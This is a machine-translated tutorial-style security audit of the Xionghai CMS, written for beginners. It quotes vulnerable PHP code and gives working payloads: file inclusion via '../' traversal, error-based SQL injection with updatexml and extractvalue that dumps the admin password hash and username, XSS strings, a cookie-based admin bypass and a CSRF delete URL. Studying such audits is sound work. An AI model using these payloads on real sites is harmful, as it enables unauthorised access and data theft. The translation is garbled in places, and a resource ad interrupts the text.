I.はじめに
簡単に理解した後、Xiong Haiは単純なcmsであり、入力に適しているため、監査入力に適しています。
2.監査環境
小さなスキンパネルを使用して、新しいWebサイトを作成します
3.監査プロセス
最初にファイルディレクトリを理解する
admin --管理后台文件夹
css --存放css的文件夹
files --存放页面的文件夹
images --存放图片的文件夹
inc --存放网站配置文件的文件夹
install --网站进行安装的文件夹
seacmseditor --编辑器文件夹
template --模板文件夹
upload --上传功能文件夹
index.php --网站首页
まず、Webサイトのソースコードをseayに入れて、自動的に監査します。
疑わしい抜け穴がかなりあることがわかります。次に、コードを比較して1つずつ確認します。
ファイルに脆弱性が含まれています
**index.php**
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
GETは値rを渡し、関数を使用しaddslashes
て渡された値をエスケープしてコマンドの実行を防ぎますが、これだけでは明らかに不十分です。ここではファイルインクルードの脆弱性に制限はありません。フォルダの下のファイル
はここに直接含めることができますが、ディレクトリトラバーサルを介してルートディレクトリに含めることもできます。フォルダの下に新しいものを作成しますfiles
files
phpinfo.php
<?php phpinfo();?>
payload:
?r=phpinfo //包含files文件夹下的phpinfo()
?r=../phpinfo //包含根目录的phpinfo()
2番目の場所/admin/index.php
も同じコードで、同じ内容が含まれています。
[すべてのリソース、クリックして表示]
1.ネットワークセキュリティ学習ルート
2.電子書籍(白い帽子)
3。セキュリティ会社の内部ビデオ4、100の5.一般的なセキュリティ
srcドキュメント8.緊急対応メモ
SQLインジェクションの脆弱性
SQLインジェクションは通常、ログインボックスに存在します。バックグラウンドログインボックスのソースコードを直接見てみましょう。**admin/files/login.php**
バックグラウンドインジェクション
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
?>
コードを大まかに見てみました。
ユーザーとパスワードは、フィルタリングなしでPOST値を受け入れ、クエリステートメントに直接挿入します。まず、ユーザーがデータベースに存在するかどうかを確認します。存在しない場合はエラーが報告され、mysql_error()
開いている場合はエラーインジェクションが報告されます。ユーザーが存在する場合、着信パスワードのmd5ハッシュは次のようになります。データベース内のパスワードと比較します。それらが等しい場合、ログインは成功します。
いくつかの分析の後、エラーが挿入され、パスワードのmd5ハッシュがデータベースと比較されるため、ユニバーサルパスワードはログインできません。
脆弱性の再発:
通常のエラーインジェクション
1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #
それは存在します
.2つのセグメントで取得されたMD5値をまとめ、MD5
ブラストを実行してパスワードのプレーンテキストを取得してから、ユーザーにクエリを実行します
1' or updatexml(1,concat((select concat(0x7e,user) from manage)),0) #
ログインします。
次に、他の場所を調べます
**/admin/files/softlist**
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM download WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=softlist'</script>";
exit;
}
それはまだオンになっていmysql_error()
て、フィルタリングはありません、注入は上記と同じです
**/admin/files/editlink.php**
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$link = mysql_fetch_array($resul);
タイプは上記と同じであり、ここでは繰り返されません。
sqlに含まれるcmsはフィルタリングされておらず、エラーが発生する可能性があることがわかりました。
これが、このcmsがXiaobaiの監査に適している理由である可能性があります。
**/files/software.php**
フォアグラウンドインジェクション
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$download = mysql_fetch_array($resul);
addslashes
これは、フィルタリングする関数を
指しますaddslashes
関数addslashes()は、事前定義された文字の前に円記号が追加された文字列を返します。事前定義された文字は、一重引用符(')二重引用符( ")円記号(\)NULLです。
公式サイトにそのようなメモがあります
デフォルトでは、PHPディレクティブmagic_quotes_gpcがオンになっており、すべてのGET、POST、およびCOOKIEデータに対してaddslashes()が自動的に実行されます。magic_quotes_gpcによってエスケープされた文字列にaddslashes()を使用しないでください。これにより、二重エスケープが発生します。これが発生した場合、関数get_magic_quotes_gpc()を使用して検出できます。
GETによって渡された値はデフォルトですでに実行されているため、addslashes()
再度使用すると機能しなくなりaddslashes()
、エラーインジェクションを実行できます。
ペイロード:
?r=content&cid=1%20or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))
** /install/index.php **
インストールプロセスにSQLインジェクションがあり、コードは次のとおりです
$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "管理信息已经成功写入!
";
フィルタリングなし、mysql_error()
オープン、エラーインジェクションを検討できます。
大物の記事を参照してください。
まずInstallLock.txt
、ファイルロックを削除します。
再インストールするときは、ユーザーにエラーを報告し、
ペイロードを挿入します。
1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#
これで、このcmsのSQLインジェクションは終了です。
XSSの脆弱性
反射されたXSS
**/files/contact.php**
$page=addslashes($_GET['page']); //59行
<?php echo $page?> //139行
ペイロード:
<img src=1 onerror=alert(/xss/)>
もちろん、反射型のXSSはたくさんあるので、ここではすべてをリストしません。
保存されたXSS
**/admin/files/manageinfo.php**
$save=$_POST['save'];
$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];
if ($save==1){
if ($user==""){
echo "<script>alert('抱歉,帐号不能为空。');history.back()</script>";
exit;
}
if ($name==""){
echo "<script>alert('抱歉,名称不能为空。');history.back()</script>";
exit;
}
if ($password<>$password2){
echo "<script>alert('抱歉,两次密码输入不一致!');history.back()</script>";
exit;
}
//处理图片上传
if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
$tmp = new FileUpload_Single;
$upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
$tmp -> accessPath =$upload;
if ( $tmp -> TODO() )
{
$filename=$tmp -> newFileName;//生成的文件名
$filename=$upload.'/'.$filename;
$imgsms="及图片";
}
}
}
if ($filename<>""){
$images="img='$filename',";
}
if ($password<>""){
$password=md5($password);
$password="password='$password',";
}
$query = "UPDATE manage SET
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,资料".$imgsms."设置已成功更新!');location.href='?r=manageinfo'</script>";
exit;
}
?>
POSTはパラメータを渡しますが、フィルタリングは行わず、ルートデータベースと直接対話し、XSS
ペイロードが保存されます。
<img src=1 onerror=alert(/xss/)>
。
垂直オーバーライド
**inc/checklogin.php**
真ん中
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
COOKIEのユーザーが空の場合は、ログインウィンドウにジャンプします。これは最も単純な垂直オーバーライドです。http://www.xionghai.com/admin/index.php
にアクセスしてパケットをキャプチャし、表示します。この場合、COOKIEにはユーザーパラメータはありません。
Cookieの値を変更する場合
オーバーライドは成功し、管理ページにアクセスできます。
CSRFの脆弱性
例
/admin/files/wzlist.php
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
exit;
検証が行われていないことが
わかりますので、削除操作を行います。
次に、パケットを取得して見てください
そのペイロード
www.xionghai.com/admin/?r=wzlist&delete=18
次に、ブラウザを変更してペイロードにアクセスし、パッケージをキャプチャします。Cookieに、userの値をadminとして追加します。
CSRF攻撃が成功していることがわかります
**admin/files/softlist.php**
まだCSRFがあり、プラクティスは上記と同じです。
4.まとめ
この時点で、このcmsの監査はほぼ終了しています。一般に、このcmsは個人によって開発され、長期間更新されていないため、基本的にすべての脆弱性が監査プロセス中にフィルタリングされるわけではありません。たぶんそれが私のような初心者に適している理由です。